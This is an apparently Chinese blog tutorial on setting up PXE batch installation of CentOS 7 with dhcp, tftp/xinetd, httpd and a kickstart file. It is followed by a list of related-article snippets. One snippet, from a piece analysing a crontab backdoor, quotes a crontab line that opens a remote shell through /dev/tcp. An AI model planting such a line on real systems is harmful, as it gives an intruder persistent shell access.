功能:

  批量全自动安装操作系统
方法:
  dhcp 自动分配IP
  tftp 微系统 用来安装系统
  httpd 网络源

操作流程:

#检查环境

getenforce	            	#检查selinux
systemctl status firewalld      #检查防火墙

#配置yum源(光盘源)

rm -rf /etc/yum.repos.d/*.re     #删除官方源
mkdir /iso               #创建挂载点
mount /dev/cdrom /iso       #挂载光盘
vim /etc/yum.repos.d/iso.repo #编辑源文件
#########
[iso]
name=iso
baseurl=file:///iso
enabled=1
gpgcheck=0
############
yum clean all             #清楚缓存
yum makecache             #生成缓存

#安装并配置dhcp

yum install dhcp -y	                 #安装dhcp服务
cd /etc/dhcp/                     #进入dhcp目录
cat /usr/share/doc/dhcp*/dhcpd.conf.example |grep -v "#" |grep -v '^$' > dhcpd.conf       #从模板复制配置文件的内容
vim dhcpd.conf                     #编辑配置文件
###############
option domain-name "example.org";
option domain-name-servers ns1.example.org, ns2.example.org;
default-lease-time 600;
max-lease-time 7200;
log-facility local7;                #系统默认数值,保留 subnet 192.168.10.0 netmask 255.255.255.0 {                              #自己的子网和掩码(必须自己有相同网段的IP)
range 192.168.10.180 192.168.10.200;      #自动分配IP范围
option routers 192.168.10.100;           #路由,写本机IP
filename "pxelinux.0";                #安装引导文件
next-server 192.168.10.100;           #去哪找引导文件,本机IP
}
##########################
systemctl restart dhcpd #重启dhcp

#安装并配置tftp

yum -y install tftp-server xinetd	#安装tftp xinetd
vim /etc/xinetd.d/tftp
#################
server_args = -s /tftpboot     #tftp工作目录
disable = no              #关闭禁用
#########################
systemctl restart xinetd      #启动xinetd 

#安装并配置httpd

yum -y install httpd syslinux	          #安装httpd syslinux
rm -rf /etc/httpd/conf.d/welcome.conf      #删除httpd欢迎页
cd /var/www/html/
mkdir iso                     #建立光盘挂载点
mount /dev/cdrom /var/www/html/iso/      #在httpd工作目录下挂载光盘
vim /etc/fstab                     #永久生效
##############
/dev/cdrom /var/www/html/iso iso9660 defaults 0 0
##############
cd /var/www/html/iso/isolinux           #进入光盘
cp vmlinuz /tftpboot/                #复制启动文件
cp initrd.img /tftpboot/
mkdir /tftpboot/pxelinux.cfg
cp isolinux.cfg /tftpboot/pxelinux.cfg/default
cp /usr/share/syslinux/pxelinux.0 /tftpboot/

#编辑模板文件

cd /tftpboot/pxelinux.cfg			#进入tftp工作目录
vim default      #编辑默认文件
############
default ks #修改默认的启动label label ks #定义label
menu label ^Install CentOS 7
kernel vmlinuz
append initrd=initrd.img method=http://192.168.10.100/iso ks=http://192.168.10.100/ks.cfg devfs=nomount   #添加光盘位置和ks文件位置
################### cd
cp anaconda-ks.cfg /var/www/html/ks.cfg   #复制装机记录文件
cd /var/www/html/
vim ks.cfg
###################
删除cdrom
install
url --url="http://192.168.10.100/iso" #光盘地址
#####################
chmod 644 ks.cfg #给ks文件所有用户可读  

#重启服务添加防火墙

systemctl enable dhcpd xinetd httpd
systemctl restart dhcpd xinetd httpd
netstat -anp|grep dhcpd
netstat -anp|grep xinetd
firewall-cmd --add-port=67/udp --permanent
firewall-cmd --add-port=69/udp --permanent
firewall-cmd --add-port=80/tcp --permanent
firewall-cmd --reload

  

pxe批量部署的更多相关文章

  1. PXE批量部署linux操作系统

    前言 在实际生产环境中,有时候我们会碰到为几十上百甚至上千台服务器安装Linux操作系统的需求,如果我们还是常规的去使用移动介质逐台安装,显然是一件低效又令人抓狂的事情,那要安装到何年何月啊?这对于我 ...

  2. PXE批量部署安装Linux系统

    PXE介绍 1)Preboot Excution Environment 预启动执行环境 2)Intel公司研发 3)基于Client/Server的网络模式,支持远程主机通过网络从远端服务器下载映 ...

  3. shell基础之pxe批量部署

    通过安装及配置DHCP,tftp-server,xinetd,httpd,syslinux来实现批量安装Linux系统 #!/bin/bash #检查环境 se_state=`getenforce` ...

  4. pxe批量部署脚本

    #!/bin/bash #检查环境 setenforce 0 sed -i 's/=enforce/=disabled/g' /etc/selinux/config systemctl restart ...

  5. Cobbler批量部署CentOS

    简介 Cobbler是一个快速网络安装linux的服务,而且在经过调整也可以支持网络安装windows.该工具使用python开发,小巧轻便(才15k行python代码),使用简单的命令即可完成PXE ...

  6. 使用 PXE+Kickstart 实现无人值守批量部署系统

    一.废话两句 在云数据中心,一次几十台甚至几百台服务器上线,系统安装将变得非常繁琐,系统安装好了后还会涉及很多配置,如果一台台来安装的话工作量非常大.(虽然有加班费,开个玩笑)为了解决这个问题,我们需 ...

  7. Cobbler自动化批量部署CentOS6.5系统

    Cobbler作为一个预备工具,使批量部署Red Hat/Centos/Fedora系统更容易,同时也支持Suse和Debian系统的部署. 它提供以下服务集成: * PXE服务支持 * DHCP服务 ...

  8. 第19章 使用PXE+Kickstart部署无人值守安装

    章节概述: 本章节将教会您通过PXE+DHCP+TFTP+VSftpd+Kickstart服务程序搭建出无人值守安装系统,从而批量部署客户机系统. 这种系统能够实现自动化运维.避免了重复性劳动,帮助提 ...

  9. centos7使用cobbler(2.8)批量部署操作系统之一

    一.    批量部署操作系统的前提 要想批量部署操作系统,得具备以下条件: 客户机支持pxe网络引导 服务器端和客户端建立网络通信(DHCP) 服务器端要有可供客户机开机引导的引导文件 服务器端的可引 ...

随机推荐

  1. 加密解密 之base系列编码

    Base16 Base16编码使用16个ASCII可打印字符(数字0-9和字母A-F)对任意字节数据进行编码.Base16先获取输入字符串每个字节的二进制值(不足8比特在高位补0),然后将其串联进来, ...

  2. MySQL复制从库建立-xtracebackup方式

    Percona XtraBackup工具提供了一种在系统运行时执行MySQL数据热备份的方法. Percona XtraBackup在事务系统上执行联机非阻塞,紧密压缩,高度安全的完整备份,因此在计划 ...

  3. unittest生成测试报告

    1.先导入HTMLTestRunner模块 2.实例一脚本如下 #coding=utf-8 import unittest import HTMLTestRunner #封装批量执行用例 def al ...

  4. HOOK 技术

    在介绍 截获系统消息钩子 之前,这几个函数是密切相关的: SetWindowsHookEx() 介绍: 功能:将应用程序定义的挂钩过程安装到挂钩链中. 函数原型:HHOOK SetWindowsHoo ...

  5. crontab一句话后门分析

    正常版本 (crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1&g ...

  6. [CF431C]k-Tree

    题目描述 Quite recently a creative student Lesha had a lecture on trees. After the lecture Lesha was ins ...

  7. GSS3 - Can you answer these queries III

    题意翻译 nnn 个数, qqq 次操作 操作0 x y把 AxA_xAx​ 修改为 yyy 操作1 l r询问区间 [l,r][l, r][l,r] 的最大子段和 感谢 @Edgration 提供的 ...

  8. 使用git如何规范地向主线提交代码

    使用git向主干分支合并代码通常采用两种方式:第一种是merge,第二种是利用BeyondCompare等工具进行比对,将差异合并到主干: 通过merge合并代码出现冲突时,并不清楚谁的修改和谁的修改 ...

  9. 通过反射来手写简单的ORM SQlserver

    不说废话,直接上干货,如发现问题,欢迎大家指出,谢谢! //------------------------------------MySQlServerORM [简单 CURD] using Sys ...

  10. 修改List<Map<String, Object>>的值

    List<Map<String, Object>>  aList = new ArrayList(); //加入一个Map元素Map map = new HashMap();m ...